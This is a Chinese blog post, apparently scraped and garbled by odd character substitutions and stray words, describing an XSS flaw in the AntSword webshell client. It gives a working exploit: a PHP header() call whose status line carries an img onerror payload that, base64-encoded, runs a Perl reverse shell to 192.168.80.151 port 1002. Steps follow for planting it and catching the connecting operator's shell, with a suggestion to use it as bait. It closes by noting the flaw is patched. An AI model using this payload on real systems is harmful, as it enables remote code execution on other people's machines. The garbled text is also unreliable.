今日在github上看到蚁剑暴露了一个xss漏洞,本身也常常使用蚁剑。同时在freebuf上也有一篇文章,关于蚁剑漏洞的。闲着没事测试了一波。php
蚁剑shell远程链接失败时,蚁剑会返回错误信息,但由于使用的是html解析,致使xss漏洞。html
用过蚁剑的童靴都清楚,当咱们远程链接写好的webshell的时候,有时候可能由于shell书写错误或者连接填写不当的时候,会出现大堆的错误代码。git
该信息并无进行 XSS 保护,所以可以利用 js 调用 perl 即可反弹***者的shellgithub
不少时候咱们不去注意,但这里偏偏就是漏洞利用点。(漏洞每每就在你的眼皮地下,你只要向下看看就能找到。惋惜咱们只向前看,不向下看。)web
鉴于本人对js没有深刻了解,只懂得些皮毛。这里就直接引用别人写好的shell了shell
<?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>');?>
bash
Head()函数,向客户端发送原始的 HTTP 报头。
当蚁剑远程链接shell的时候就会触发弹框。socket
require('child_process').exec('perl -e \'use Socket;$i="192.168.80.151";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });
将这些代码进行base64加密xss
cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7
tcp
构造header
<?php header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())'>"); ?>
将其写入被***中的网站目录下
被***机监听1002端口
***机蚁剑远程链接
得到***者shell
在最新的版本中, 修改了 toastr 能够输出 html 的特色,之后均不支持输出 html。建议及时更新到最新版本
若是你检测到了本身被上传了webshell,不妨能够试一试这个漏洞,对方若是使用的是蚁剑,当对方链接你的时候,也是他上线的时候。或者在比赛(zhen shi)环境的时候,故意制造一个这样的shell,诱惑一些小可爱连一下。